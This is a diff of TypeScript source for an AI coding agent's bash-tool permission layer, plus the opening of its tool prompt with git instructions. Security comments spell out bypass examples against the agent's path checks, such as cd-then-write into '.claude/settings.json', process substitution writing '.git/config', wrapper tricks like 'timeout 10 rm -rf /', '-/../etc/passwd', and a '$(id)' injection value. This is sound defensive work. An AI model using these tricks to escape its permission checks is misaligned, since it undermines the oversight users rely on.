+        afterDoubleDash = true
+        continue
+      }
+
+      if (!afterDoubleDash && arg.startsWith('-')) {
+        const flag = arg.split('=')[0]
+        // Pattern flags mark that we've found the filter
+        if (flag && ['-e', '--expression'].includes(flag)) {
+          filterFound = true
+        }
+        // Skip next arg if flag needs it
+        if (flag && flagsWithArgs.has(flag) && !arg.includes('=')) {
+          i++
+        }
+        continue
+      }
+
+      // First non-flag is filter, rest are file paths
+      if (!filterFound) {
+        filterFound = true
+        continue
+      }
+      paths.push(arg)
+    }
+
+    // If no file paths, jq reads from stdin (no paths to validate)
+    return paths
+  },
+
+  // git: handle subcommands that access arbitrary files outside the repository
+  git: args => {
+    // git diff --no-index is special - it explicitly compares files outside git's control
+    // This flag allows git diff to compare any two files on the filesystem, not just
+    // files within the repository, which is why it needs path validation
+    if (args.length >= 1 && args[0] === 'diff') {
+      if (args.includes('--no-index')) {
+        // SECURITY: git diff --no-index accepts `--` before file paths.
+        // Use filterOutFlags which handles `--` correctly instead of naive
+        // startsWith('-') filtering, to catch paths like `-/../etc/passwd`.
+        const filePaths = filterOutFlags(args.slice(1))
+        return filePaths.slice(0, 2) // git diff --no-index expects exactly 2 paths
+      }
+    }
+    // Other git commands (add, rm, mv, show, etc.) operate within the repository context
+    // and are already constrained by git's own security model, so they don't need
+    // additional path validation
+    return []
+  },
+}
+
+const SUPPORTED_PATH_COMMANDS = Object.keys(PATH_EXTRACTORS) as PathCommand[]
+
+const ACTION_VERBS: Record<PathCommand, string> = {
+  cd: 'change directories to',
+  ls: 'list files in',
+  find: 'search files in',
+  mkdir: 'create directories in',
+  touch: 'create or modify files in',
+  rm: 'remove files from',
+  rmdir: 'remove directories from',
+  mv: 'move files to/from',
+  cp: 'copy files to/from',
+  cat: 'concatenate files from',
+  head: 'read the beginning of files from',
+  tail: 'read the end of files from',
+  sort: 'sort contents of files from',
+  uniq: 'filter duplicate lines from files in',
+  wc: 'count lines/words/bytes in files from',
+  cut: 'extract columns from files in',
+  paste: 'merge files from',
+  column: 'format files from',
+  tr: 'transform text from files in',
+  file: 'examine file types in',
+  stat: 'read file stats from',
+  diff: 'compare files from',
+  awk: 'process text from files in',
+  strings: 'extract strings from files in',
+  hexdump: 'display hex dump of files from',
+  od: 'display octal dump of files from',
+  base64: 'encode/decode files from',
+  nl: 'number lines in files from',
+  grep: 'search for patterns in files from',
+  rg: 'search for patterns in files from',
+  sed: 'edit files in',
+  git: 'access files with git from',
+  jq: 'process JSON from files in',
+  sha256sum: 'compute SHA-256 checksums for files in',
+  sha1sum: 'compute SHA-1 checksums for files in',
+  md5sum: 'compute MD5 checksums for files in',
+}
+
+export const COMMAND_OPERATION_TYPE: Record<PathCommand, FileOperationType> = {
+  cd: 'read',
+  ls: 'read',
+  find: 'read',
+  mkdir: 'create',
+  touch: 'create',
+  rm: 'write',
+  rmdir: 'write',
+  mv: 'write',
+  cp: 'write',
+  cat: 'read',
+  head: 'read',
+  tail: 'read',
+  sort: 'read',
+  uniq: 'read',
+  wc: 'read',
+  cut: 'read',
+  paste: 'read',
+  column: 'read',
+  tr: 'read',
+  file: 'read',
+  stat: 'read',
+  diff: 'read',
+  awk: 'read',
+  strings: 'read',
+  hexdump: 'read',
+  od: 'read',
+  base64: 'read',
+  nl: 'read',
+  grep: 'read',
+  rg: 'read',
+  sed: 'write',
+  git: 'read',
+  jq: 'read',
+  sha256sum: 'read',
+  sha1sum: 'read',
+  md5sum: 'read',
+}
+
+/**
+ * Command-specific validators that run before path validation.
+ * Returns true if the command is valid, false if it should be rejected.
+ * Used to block commands with flags that could bypass path validation.
+ */
+const COMMAND_VALIDATOR: Partial<
+  Record<PathCommand, (args: string[]) => boolean>
+> = {
+  mv: (args: string[]) => !args.some(arg => arg?.startsWith('-')),
+  cp: (args: string[]) => !args.some(arg => arg?.startsWith('-')),
+}
+
+function validateCommandPaths(
+  command: PathCommand,
+  args: string[],
+  cwd: string,
+  toolPermissionContext: ToolPermissionContext,
+  compoundCommandHasCd?: boolean,
+  operationTypeOverride?: FileOperationType,
+): PermissionResult {
+  const extractor = PATH_EXTRACTORS[command]
+  const paths = extractor(args)
+  const operationType = operationTypeOverride ?? COMMAND_OPERATION_TYPE[command]
+
+  // SECURITY: Check command-specific validators (e.g., to block flags that could bypass path validation)
+  // Some commands like mv/cp have flags (--target-directory=PATH) that can bypass path extraction,
+  // so we block ALL flags for these commands to ensure security.
+  const validator = COMMAND_VALIDATOR[command]
+  if (validator && !validator(args)) {
+    return {
+      behavior: 'ask',
+      message: `${command} with flags requires manual approval to ensure path safety. For security, Claude Code cannot automatically validate ${command} commands that use flags, as some flags like --target-directory=PATH can bypass path validation.`,
+      decisionReason: {
+        type: 'other',
+        reason: `${command} command with flags requires manual approval`,
+      },
+    }
+  }
+
+  // SECURITY: Block write operations in compound commands containing 'cd'
+  // This prevents bypassing path safety checks via directory changes before operations.
+  // Example attack: cd .claude/ && mv test.txt settings.json
+  // This would bypass the check for .claude/settings.json because paths are resolved
+  // relative to the original CWD, not accounting for the cd's effect.
+  //
+  // ALTERNATIVE APPROACH: Instead of blocking all writes with cd, we could track the
+  // effective CWD through the command chain (e.g., after "cd .claude/", subsequent
+  // commands would be validated with CWD=".claude/"). This would be more permissive
+  // but requires careful handling of:
+  // - Relative paths (cd ../foo)
+  // - Special cd targets (cd ~, cd -, cd with no args)
+  // - Multiple cd commands in sequence
+  // - Error cases where cd target cannot be determined
+  // For now, we take the conservative approach of requiring manual approval.
+  if (compoundCommandHasCd && operationType !== 'read') {
+    return {
+      behavior: 'ask',
+      message: `Commands that change directories and perform write operations require explicit approval to ensure paths are evaluated correctly. For security, Claude Code cannot automatically determine the final working directory when 'cd' is used in compound commands.`,
+      decisionReason: {
+        type: 'other',
+        reason:
+          'Compound command contains cd with write operation - manual approval required to prevent path resolution bypass',
+      },
+    }
+  }
+
+  for (const path of paths) {
+    const { allowed, resolvedPath, decisionReason } = validatePath(
+      path,
+      cwd,
+      toolPermissionContext,
+      operationType,
+    )
+
+    if (!allowed) {
+      const workingDirs = Array.from(
+        allWorkingDirectories(toolPermissionContext),
+      )
+      const dirListStr = formatDirectoryList(workingDirs)
+
+      // Use security check's custom reason if available (type: 'other' or 'safetyCheck')
+      // Otherwise use the standard "was blocked" message
+      const message =
+        decisionReason?.type === 'other' ||
+        decisionReason?.type === 'safetyCheck'
+          ? decisionReason.reason
+          : `${command} in '${resolvedPath}' was blocked. For security, Claude Code may only ${ACTION_VERBS[command]} the allowed working directories for this session: ${dirListStr}.`
+
+      if (decisionReason?.type === 'rule') {
+        return {
+          behavior: 'deny',
+          message,
+          decisionReason,
+        }
+      }
+
+      return {
+        behavior: 'ask',
+        message,
+        blockedPath: resolvedPath,
+        decisionReason,
+      }
+    }
+  }
+
+  // All paths are valid - return passthrough
+  return {
+    behavior: 'passthrough',
+    message: `Path validation passed for ${command} command`,
+  }
+}
+
+export function createPathChecker(
+  command: PathCommand,
+  operationTypeOverride?: FileOperationType,
+) {
+  return (
+    args: string[],
+    cwd: string,
+    context: ToolPermissionContext,
+    compoundCommandHasCd?: boolean,
+  ): PermissionResult => {
+    // First check normal path validation (which includes explicit deny rules)
+    const result = validateCommandPaths(
+      command,
+      args,
+      cwd,
+      context,
+      compoundCommandHasCd,
+      operationTypeOverride,
+    )
+
+    // If explicitly denied, respect that (don't override with dangerous path message)
+    if (result.behavior === 'deny') {
+      return result
+    }
+
+    // Check for dangerous removal paths AFTER explicit deny rules but BEFORE other results
+    // This ensures the check runs even if the user has allowlist rules or if glob patterns
+    // were rejected, but respects explicit deny rules. Dangerous patterns get a specific
+    // error message that overrides generic glob pattern rejection messages.
+    if (command === 'rm' || command === 'rmdir') {
+      const dangerousPathResult = checkDangerousRemovalPaths(command, args, cwd)
+      if (dangerousPathResult.behavior !== 'passthrough') {
+        return dangerousPathResult
+      }
+    }
+
+    // If it's a passthrough, return it directly
+    if (result.behavior === 'passthrough') {
+      return result
+    }
+
+    // If it's an ask decision, add suggestions based on the operation type
+    if (result.behavior === 'ask') {
+      const operationType =
+        operationTypeOverride ?? COMMAND_OPERATION_TYPE[command]
+      const suggestions: PermissionUpdate[] = []
+
+      // Only suggest adding directory/rules if we have a blocked path
+      if (result.blockedPath) {
+        if (operationType === 'read') {
+          // For read operations, suggest a Read rule for the directory (only if it exists)
+          const dirPath = getDirectoryForPath(result.blockedPath)
+          const suggestion = createReadRuleSuggestion(dirPath, 'session')
+          if (suggestion) {
+            suggestions.push(suggestion)
+          }
+        } else {
+          // For write/create operations, suggest adding the directory
+          suggestions.push({
+            type: 'addDirectories',
+            directories: [getDirectoryForPath(result.blockedPath)],
+            destination: 'session',
+          })
+        }
+      }
+
+      // For write operations, also suggest enabling accept-edits mode
+      if (operationType === 'write' || operationType === 'create') {
+        suggestions.push({
+          type: 'setMode',
+          mode: 'acceptEdits',
+          destination: 'session',
+        })
+      }
+
+      result.suggestions = suggestions
+    }
+
+    // Return the decision directly
+    return result
+  }
+}
+
+/**
+ * Parses command arguments using shell-quote, converting glob objects to strings.
+ * This is necessary because shell-quote parses patterns like *.txt as glob objects,
+ * but we need them as strings for path validation.
+ */
+function parseCommandArguments(cmd: string): string[] {
+  const parseResult = tryParseShellCommand(cmd, env => `$${env}`)
+  if (!parseResult.success) {
+    // Malformed shell syntax, return empty array
+    return []
+  }
+  const parsed = parseResult.tokens
+  const extractedArgs: string[] = []
+
+  for (const arg of parsed) {
+    if (typeof arg === 'string') {
+      // Include empty strings - they're valid arguments (e.g., grep "" /tmp/t)
+      extractedArgs.push(arg)
+    } else if (
+      typeof arg === 'object' &&
+      arg !== null &&
+      'op' in arg &&
+      arg.op === 'glob' &&
+      'pattern' in arg
+    ) {
+      // shell-quote parses glob patterns as objects, but we need them as strings for validation
+      extractedArgs.push(String(arg.pattern))
+    }
+  }
+
+  return extractedArgs
+}
+
+/**
+ * Validates a single command for path constraints and shell safety.
+ *
+ * This function:
+ * 1. Parses the command arguments
+ * 2. Checks if it's a path command (cd, ls, find)
+ * 3. Validates for shell injection patterns
+ * 4. Validates all paths are within allowed directories
+ *
+ * @param cmd - The command string to validate
+ * @param cwd - Current working directory
+ * @param toolPermissionContext - Context containing allowed directories
+ * @param compoundCommandHasCd - Whether the full compound command contains a cd
+ * @returns PermissionResult - 'passthrough' if not a path command, otherwise validation result
+ */
+function validateSinglePathCommand(
+  cmd: string,
+  cwd: string,
+  toolPermissionContext: ToolPermissionContext,
+  compoundCommandHasCd?: boolean,
+): PermissionResult {
+  // SECURITY: Strip wrapper commands (timeout, nice, nohup, time) before extracting
+  // the base command. Without this, dangerous commands wrapped with these utilities
+  // would bypass path validation since the wrapper command (e.g., 'timeout') would
+  // be checked instead of the actual command (e.g., 'rm').
+  // Example: 'timeout 10 rm -rf /' would otherwise see 'timeout' as the base command.
+  const strippedCmd = stripSafeWrappers(cmd)
+
+  // Parse command into arguments, handling quotes and globs
+  const extractedArgs = parseCommandArguments(strippedCmd)
+  if (extractedArgs.length === 0) {
+    return {
+      behavior: 'passthrough',
+      message: 'Empty command - no paths to validate',
+    }
+  }
+
+  // Check if this is a path command we need to validate
+  const [baseCmd, ...args] = extractedArgs
+  if (!baseCmd || !SUPPORTED_PATH_COMMANDS.includes(baseCmd as PathCommand)) {
+    return {
+      behavior: 'passthrough',
+      message: `Command '${baseCmd}' is not a path-restricted command`,
+    }
+  }
+
+  // For read-only sed commands (e.g., sed -n '1,10p' file.txt),
+  // validate file paths as read operations instead of write operations.
+  // sed is normally classified as 'write' for path validation, but when the
+  // command is purely reading (line printing with -n), file args are read-only.
+  const operationTypeOverride =
+    baseCmd === 'sed' && sedCommandIsAllowedByAllowlist(strippedCmd)
+      ? ('read' as FileOperationType)
+      : undefined
+
+  // Validate all paths are within allowed directories
+  const pathChecker = createPathChecker(
+    baseCmd as PathCommand,
+    operationTypeOverride,
+  )
+  return pathChecker(args, cwd, toolPermissionContext, compoundCommandHasCd)
+}
+
+/**
+ * Like validateSinglePathCommand but operates on AST-derived argv directly
+ * instead of re-parsing the command string with shell-quote. Avoids the
+ * shell-quote single-quote backslash bug that causes parseCommandArguments
+ * to silently return [] and skip path validation.
+ */
+function validateSinglePathCommandArgv(
+  cmd: SimpleCommand,
+  cwd: string,
+  toolPermissionContext: ToolPermissionContext,
+  compoundCommandHasCd?: boolean,
+): PermissionResult {
+  const argv = stripWrappersFromArgv(cmd.argv)
+  if (argv.length === 0) {
+    return {
+      behavior: 'passthrough',
+      message: 'Empty command - no paths to validate',
+    }
+  }
+  const [baseCmd, ...args] = argv
+  if (!baseCmd || !SUPPORTED_PATH_COMMANDS.includes(baseCmd as PathCommand)) {
+    return {
+      behavior: 'passthrough',
+      message: `Command '${baseCmd}' is not a path-restricted command`,
+    }
+  }
+  // sed read-only override: use .text for the allowlist check since
+  // sedCommandIsAllowedByAllowlist takes a string. argv is already
+  // wrapper-stripped but .text is raw tree-sitter span (includes
+  // `timeout 5 ` prefix), so strip here too.
+  const operationTypeOverride =
+    baseCmd === 'sed' &&
+    sedCommandIsAllowedByAllowlist(stripSafeWrappers(cmd.text))
+      ? ('read' as FileOperationType)
+      : undefined
+  const pathChecker = createPathChecker(
+    baseCmd as PathCommand,
+    operationTypeOverride,
+  )
+  return pathChecker(args, cwd, toolPermissionContext, compoundCommandHasCd)
+}
+
+function validateOutputRedirections(
+  redirections: Array<{ target: string; operator: '>' | '>>' }>,
+  cwd: string,
+  toolPermissionContext: ToolPermissionContext,
+  compoundCommandHasCd?: boolean,
+): PermissionResult {
+  // SECURITY: Block output redirections in compound commands containing 'cd'
+  // This prevents bypassing path safety checks via directory changes before redirections.
+  // Example attack: cd .claude/ && echo "malicious" > settings.json
+  // The redirection target would be validated relative to the original CWD, but the
+  // actual write happens in the changed directory after 'cd' executes.
+  if (compoundCommandHasCd && redirections.length > 0) {
+    return {
+      behavior: 'ask',
+      message: `Commands that change directories and write via output redirection require explicit approval to ensure paths are evaluated correctly. For security, Claude Code cannot automatically determine the final working directory when 'cd' is used in compound commands.`,
+      decisionReason: {
+        type: 'other',
+        reason:
+          'Compound command contains cd with output redirection - manual approval required to prevent path resolution bypass',
+      },
+    }
+  }
+  for (const { target } of redirections) {
+    // /dev/null is always safe - it discards output
+    if (target === '/dev/null') {
+      continue
+    }
+    const { allowed, resolvedPath, decisionReason } = validatePath(
+      target,
+      cwd,
+      toolPermissionContext,
+      'create', // Treat > and >> as create operations
+    )
+
+    if (!allowed) {
+      const workingDirs = Array.from(
+        allWorkingDirectories(toolPermissionContext),
+      )
+      const dirListStr = formatDirectoryList(workingDirs)
+
+      // Use security check's custom reason if available (type: 'other' or 'safetyCheck')
+      // Otherwise use the standard message for deny rules or working directory restrictions
+      const message =
+        decisionReason?.type === 'other' ||
+        decisionReason?.type === 'safetyCheck'
+          ? decisionReason.reason
+          : decisionReason?.type === 'rule'
+            ? `Output redirection to '${resolvedPath}' was blocked by a deny rule.`
+            : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
+
+      // If denied by a deny rule, return 'deny' behavior
+      if (decisionReason?.type === 'rule') {
+        return {
+          behavior: 'deny',
+          message,
+          decisionReason,
+        }
+      }
+
+      return {
+        behavior: 'ask',
+        message,
+        blockedPath: resolvedPath,
+        decisionReason,
+        suggestions: [
+          {
+            type: 'addDirectories',
+            directories: [getDirectoryForPath(resolvedPath)],
+            destination: 'session',
+          },
+        ],
+      }
+    }
+  }
+
+  return {
+    behavior: 'passthrough',
+    message: 'No unsafe redirections found',
+  }
+}
+
+/**
+ * Checks path constraints for commands that access the filesystem (cd, ls, find).
+ * Also validates output redirections to ensure they're within allowed directories.
+ *
+ * @returns
+ * - 'ask' if any path command or redirection tries to access outside allowed directories
+ * - 'passthrough' if no path commands were found or if all are within allowed directories
+ */
+export function checkPathConstraints(
+  input: z.infer<typeof BashTool.inputSchema>,
+  cwd: string,
+  toolPermissionContext: ToolPermissionContext,
+  compoundCommandHasCd?: boolean,
+  astRedirects?: Redirect[],
+  astCommands?: SimpleCommand[],
+): PermissionResult {
+  // SECURITY: Process substitution >(cmd) can execute commands that write to files
+  // without those files appearing as redirect targets. For example:
+  //   echo secret > >(tee .git/config)
+  // The tee command writes to .git/config but it's not detected as a redirect.
+  // Require explicit approval for any command containing process substitution.
+  // Skip on AST path — process_substitution is in DANGEROUS_TYPES and
+  // already returned too-complex before reaching here.
+  if (!astCommands && />>\s*>\s*\(|>\s*>\s*\(|<\s*\(/.test(input.command)) {
+    return {
+      behavior: 'ask',
+      message:
+        'Process substitution (>(...) or <(...)) can execute arbitrary commands and requires manual approval',
+      decisionReason: {
+        type: 'other',
+        reason: 'Process substitution requires manual approval',
+      },
+    }
+  }
+
+  // SECURITY: When AST-derived redirects are available, use them directly
+  // instead of re-parsing with shell-quote. shell-quote has a known
+  // single-quote backslash bug that silently merges redirect operators into
+  // garbled tokens on a successful parse (not a parse failure, so the
+  // fail-closed guard doesn't help). The AST already resolved targets
+  // correctly and checkSemantics validated them.
+  const { redirections, hasDangerousRedirection } = astRedirects
+    ? astRedirectsToOutputRedirections(astRedirects)
+    : extractOutputRedirections(input.command)
+
+  // SECURITY: If we found a redirection operator with a target containing shell expansion
+  // syntax ($VAR or %VAR%), require manual approval since the target can't be safely validated.
+  if (hasDangerousRedirection) {
+    return {
+      behavior: 'ask',
+      message: 'Shell expansion syntax in paths requires manual approval',
+      decisionReason: {
+        type: 'other',
+        reason: 'Shell expansion syntax in paths requires manual approval',
+      },
+    }
+  }
+  const redirectionResult = validateOutputRedirections(
+    redirections,
+    cwd,
+    toolPermissionContext,
+    compoundCommandHasCd,
+  )
+  if (redirectionResult.behavior !== 'passthrough') {
+    return redirectionResult
+  }
+
+  // SECURITY: When AST-derived commands are available, iterate them with
+  // pre-parsed argv instead of re-parsing via splitCommand_DEPRECATED + shell-quote.
+  // shell-quote has a single-quote backslash bug that causes
+  // parseCommandArguments to silently return [] and skip path validation
+  // (isDangerousRemovalPath etc). The AST already resolved argv correctly.
+  if (astCommands) {
+    for (const cmd of astCommands) {
+      const result = validateSinglePathCommandArgv(
+        cmd,
+        cwd,
+        toolPermissionContext,
+        compoundCommandHasCd,
+      )
+      if (result.behavior === 'ask' || result.behavior === 'deny') {
+        return result
+      }
+    }
+  } else {
+    const commands = splitCommand_DEPRECATED(input.command)
+    for (const cmd of commands) {
+      const result = validateSinglePathCommand(
+        cmd,
+        cwd,
+        toolPermissionContext,
+        compoundCommandHasCd,
+      )
+      if (result.behavior === 'ask' || result.behavior === 'deny') {
+        return result
+      }
+    }
+  }
+
+  // Always return passthrough to let other permission checks handle the command
+  return {
+    behavior: 'passthrough',
+    message: 'All path commands validated successfully',
+  }
+}
+
+/**
+ * Convert AST-derived Redirect[] to the format expected by
+ * validateOutputRedirections. Filters to output-only redirects (excluding
+ * fd duplications like 2>&1) and maps operators to '>' | '>>'.
+ */
+function astRedirectsToOutputRedirections(redirects: Redirect[]): {
+  redirections: Array<{ target: string; operator: '>' | '>>' }>
+  hasDangerousRedirection: boolean
+} {
+  const redirections: Array<{ target: string; operator: '>' | '>>' }> = []
+  for (const r of redirects) {
+    switch (r.op) {
+      case '>':
+      case '>|':
+      case '&>':
+        redirections.push({ target: r.target, operator: '>' })
+        break
+      case '>>':
+      case '&>>':
+        redirections.push({ target: r.target, operator: '>>' })
+        break
+      case '>&':
+        // >&N (digits only) is fd duplication (e.g. 2>&1, >&10), not a file
+        // write. >&file is the deprecated form of &>file (redirect to file).
+        if (!/^\d+$/.test(r.target)) {
+          redirections.push({ target: r.target, operator: '>' })
+        }
+        break
+      case '<':
+      case '<<':
+      case '<&':
+      case '<<<':
+        // input redirects — skip
+        break
+    }
+  }
+  // AST targets are fully resolved (no shell expansion) — checkSemantics
+  // already validated them. No dangerous redirections are possible.
+  return { redirections, hasDangerousRedirection: false }
+}
+
+// ───────────────────────────────────────────────────────────────────────────
+// Argv-level safe-wrapper stripping (timeout, nice, stdbuf, env, time, nohup)
+//
+// This is the CANONICAL stripWrappersFromArgv. bashPermissions.ts still
+// exports an older narrower copy (timeout/nice-n-N only) that is DEAD CODE
+// — no prod consumer — but CANNOT be removed: bashPermissions.ts is right
+// at Bun's feature() DCE complexity threshold, and deleting ~80 lines from
+// that module silently breaks feature('BASH_CLASSIFIER') evaluation (drops
+// every pendingClassifierCheck spread). Verified in PR #21503 round 3:
+// baseline classifier tests 30/30 pass, after deletion 22/30 fail. See
+// team memory: bun-feature-dce-cliff.md. Hit 3× in PR #21075 + twice in
+// #21503. The expanded version lives here (the only prod consumer) instead.
+//
+// KEEP IN SYNC with:
+//   - SAFE_WRAPPER_PATTERNS in bashPermissions.ts (text-based stripSafeWrappers)
+//   - the wrapper-stripping loop in checkSemantics (src/utils/bash/ast.ts ~1860)
+// If you add a wrapper in either, add it here too. Asymmetry means
+// checkSemantics exposes the wrapped command to semantic checks but path
+// validation sees the wrapper name → passthrough → wrapped paths never
+// validated (PR #21503 review comment 2907319120).
+// ───────────────────────────────────────────────────────────────────────────
+
+// SECURITY: allowlist for timeout flag VALUES (signals are TERM/KILL/9,
+// durations are 5/5s/10.5). Rejects $ ( ) ` | ; & and newlines that
+// previously matched via [^ \t]+ — `timeout -k$(id) 10 ls` must NOT strip.
+const TIMEOUT_FLAG_VALUE_RE = /^[A-Za-z0-9_.+-]+$/
+
+/**
+ * Parse timeout's GNU flags (long + short, fused + space-separated) and
+ * return the argv index of the DURATION token, or -1 if flags are unparseable.
+ */
+function skipTimeoutFlags(a: readonly string[]): number {
+  let i = 1
+  while (i < a.length) {
+    const arg = a[i]!
+    const next = a[i + 1]
+    if (
+      arg === '--foreground' ||
+      arg === '--preserve-status' ||
+      arg === '--verbose'
+    )
+      i++
+    else if (/^--(?:kill-after|signal)=[A-Za-z0-9_.+-]+$/.test(arg)) i++
+    else if (
+      (arg === '--kill-after' || arg === '--signal') &&
+      next &&
+      TIMEOUT_FLAG_VALUE_RE.test(next)
+    )
+      i += 2
+    else if (arg === '--') {
+      i++
+      break
+    } // end-of-options marker
+    else if (arg.startsWith('--')) return -1
+    else if (arg === '-v') i++
+    else if (
+      (arg === '-k' || arg === '-s') &&
+      next &&
+      TIMEOUT_FLAG_VALUE_RE.test(next)
+    )
+      i += 2
+    else if (/^-[ks][A-Za-z0-9_.+-]+$/.test(arg)) i++
+    else if (arg.startsWith('-')) return -1
+    else break
+  }
+  return i
+}
+
+/**
+ * Parse stdbuf's flags (-i/-o/-e in fused/space-separated/long-= forms).
+ * Returns argv index of wrapped COMMAND, or -1 if unparseable or no flags
+ * consumed (stdbuf without flags is inert). Mirrors checkSemantics (ast.ts).
+ */
+function skipStdbufFlags(a: readonly string[]): number {
+  let i = 1
+  while (i < a.length) {
+    const arg = a[i]!
+    if (/^-[ioe]$/.test(arg) && a[i + 1]) i += 2
+    else if (/^-[ioe]./.test(arg)) i++
+    else if (/^--(input|output|error)=/.test(arg)) i++
+    else if (arg.startsWith('-'))
+      return -1 // unknown flag: fail closed
+    else break
+  }
+  return i > 1 && i < a.length ? i : -1
+}
+
+/**
+ * Parse env's VAR=val and safe flags (-i/-0/-v/-u NAME). Returns argv index
+ * of wrapped COMMAND, or -1 if unparseable/no wrapped cmd. Rejects -S (argv
+ * splitter), -C/-P (altwd/altpath). Mirrors checkSemantics (ast.ts).
+ */
+function skipEnvFlags(a: readonly string[]): number {
+  let i = 1
+  while (i < a.length) {
+    const arg = a[i]!
+    if (arg.includes('=') && !arg.startsWith('-')) i++
+    else if (arg === '-i' || arg === '-0' || arg === '-v') i++
+    else if (arg === '-u' && a[i + 1]) i += 2
+    else if (arg.startsWith('-'))
+      return -1 // -S/-C/-P/unknown: fail closed
+    else break
+  }
+  return i < a.length ? i : -1
+}
+
+/**
+ * Argv-level counterpart to stripSafeWrappers (bashPermissions.ts). Strips
+ * wrapper commands from AST-derived argv. Env vars are already separated
+ * into SimpleCommand.envVars so no env-var stripping here.
+ */
+export function stripWrappersFromArgv(argv: string[]): string[] {
+  let a = argv
+  for (;;) {
+    if (a[0] === 'time' || a[0] === 'nohup') {
+      a = a.slice(a[1] === '--' ? 2 : 1)
+    } else if (a[0] === 'timeout') {
+      const i = skipTimeoutFlags(a)
+      // SECURITY (PR #21503 round 3): unrecognized duration (`.5`, `+5`,
+      // `inf` — strtod formats GNU timeout accepts) → return a unchanged.
+      // Safe because checkSemantics (ast.ts) fails CLOSED on the same input
+      // and runs first in bashToolHasPermission, so we never reach here.
+      if (i < 0 || !a[i] || !/^\d+(?:\.\d+)?[smhd]?$/.test(a[i]!)) return a
+      a = a.slice(i + 1)
+    } else if (a[0] === 'nice') {
+      // SECURITY (PR #21503 round 3): mirror checkSemantics — handle bare
+      // `nice cmd` and legacy `nice -N cmd`, not just `nice -n N cmd`.
+      // Previously only `-n N` was stripped: `nice rm /outside` →
+      // baseCmd='nice' → passthrough → /outside never path-validated.
+      if (a[1] === '-n' && a[2] && /^-?\d+$/.test(a[2]))
+        a = a.slice(a[3] === '--' ? 4 : 3)
+      else if (a[1] && /^-\d+$/.test(a[1])) a = a.slice(a[2] === '--' ? 3 : 2)
+      else a = a.slice(a[1] === '--' ? 2 : 1)
+    } else if (a[0] === 'stdbuf') {
+      // SECURITY (PR #21503 round 3): PR-WIDENED. Pre-PR, `stdbuf -o0 -eL rm`
+      // was rejected by fragment check (old checkSemantics slice(2) left
+      // name='-eL'). Post-PR, checkSemantics strips both flags → name='rm'
+      // → passes. But stripWrappersFromArgv returned unchanged →
+      // baseCmd='stdbuf' → not in SUPPORTED_PATH_COMMANDS → passthrough.
+      const i = skipStdbufFlags(a)
+      if (i < 0) return a
+      a = a.slice(i)
+    } else if (a[0] === 'env') {
+      // Same asymmetry: checkSemantics strips env, we didn't.
+      const i = skipEnvFlags(a)
+      if (i < 0) return a
+      a = a.slice(i)
+    } else {
+      return a
+    }
+  }
+}

src/tools/BashTool/prompt.ts

@@ -0,0 +1,369 @@
+import { feature } from 'bun:bundle'
+import { prependBullets } from '../../constants/prompts.js'
+import { getAttributionTexts } from '../../utils/attribution.js'
+import { hasEmbeddedSearchTools } from '../../utils/embeddedTools.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+import { shouldIncludeGitInstructions } from '../../utils/gitSettings.js'
+import { getClaudeTempDir } from '../../utils/permissions/filesystem.js'
+import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
+import { jsonStringify } from '../../utils/slowOperations.js'
+import {
+  getDefaultBashTimeoutMs,
+  getMaxBashTimeoutMs,
+} from '../../utils/timeouts.js'
+import {
+  getUndercoverInstructions,
+  isUndercover,
+} from '../../utils/undercover.js'
+import { AGENT_TOOL_NAME } from '../AgentTool/constants.js'
+import { FILE_EDIT_TOOL_NAME } from '../FileEditTool/constants.js'
+import { FILE_READ_TOOL_NAME } from '../FileReadTool/prompt.js'
+import { FILE_WRITE_TOOL_NAME } from '../FileWriteTool/prompt.js'
+import { GLOB_TOOL_NAME } from '../GlobTool/prompt.js'
+import { GREP_TOOL_NAME } from '../GrepTool/prompt.js'
+import { TodoWriteTool } from '../TodoWriteTool/TodoWriteTool.js'
+import { BASH_TOOL_NAME } from './toolName.js'
+
+export function getDefaultTimeoutMs(): number {
+  return getDefaultBashTimeoutMs()
+}
+
+export function getMaxTimeoutMs(): number {
+  return getMaxBashTimeoutMs()
+}
+
+function getBackgroundUsageNote(): string | null {
+  if (isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_BACKGROUND_TASKS)) {
+    return null
+  }
+  return "You can use the `run_in_background` parameter to run the command in the background. Only use this if you don't need the result immediately and are OK being notified when the command completes later. You do not need to check the output right away - you'll be notified when it finishes. You do not need to use '&' at the end of the command when using this parameter."
+}
+
+function getCommitAndPRInstructions(): string {
+  // Defense-in-depth: undercover instructions must survive even if the user
+  // has disabled git instructions entirely. Attribution stripping and model-ID
+  // hiding are mechanical and work regardless, but the explicit "don't blow
+  // your cover" instructions are the last line of defense against the model
+  // volunteering an internal codename in a commit message.
+  const undercoverSection =
+    process.env.USER_TYPE === 'ant' && isUndercover()
+      ? getUndercoverInstructions() + '\n'
+      : ''
+
+  if (!shouldIncludeGitInstructions()) return undercoverSection
+
+  // For ant users, use the short version pointing to skills
+  if (process.env.USER_TYPE === 'ant') {
+    const skillsSection = !isEnvTruthy(process.env.CLAUDE_CODE_SIMPLE)
+      ? `For git commits and pull requests, use the \`/commit\` and \`/commit-push-pr\` skills:
+- \`/commit\` - Create a git commit with staged changes
+- \`/commit-push-pr\` - Commit, push, and create a pull request
+
+These skills handle git safety protocols, proper commit message formatting, and PR creation.
+
+Before creating a pull request, run \`/simplify\` to review your changes, then test end-to-end (e.g. via \`/tmux\` for interactive features).
+
+`
+      : ''
+    return `${undercoverSection}# Git operations
+
+${skillsSection}IMPORTANT: NEVER skip hooks (--no-verify, --no-gpg-sign, etc) unless the user explicitly requests it.
+
+Use the gh command via the Bash tool for other GitHub-related tasks including working with issues, checks, and releases. If given a Github URL use the gh command to get the information needed.
+
+# Other common operations
+- View comments on a Github PR: gh api repos/foo/bar/pulls/123/comments`
+  }
+
+  // For external users, include full inline instructions
+  const { commit: commitAttribution, pr: prAttribution } = getAttributionTexts()
+
+  return `# Committing changes with git
+
+Only create commits when requested by the user. If unclear, ask first. When the user asks you to create a new git commit, follow these steps carefully:
+
+You can call multiple tools in a single response. When multiple independent pieces of information are requested and all commands are likely to succeed, run multiple tool calls in parallel for optimal performance. The numbered steps below indicate which commands should be batched in parallel.
+
+Git Safety Protocol:
+- NEVER update the git config
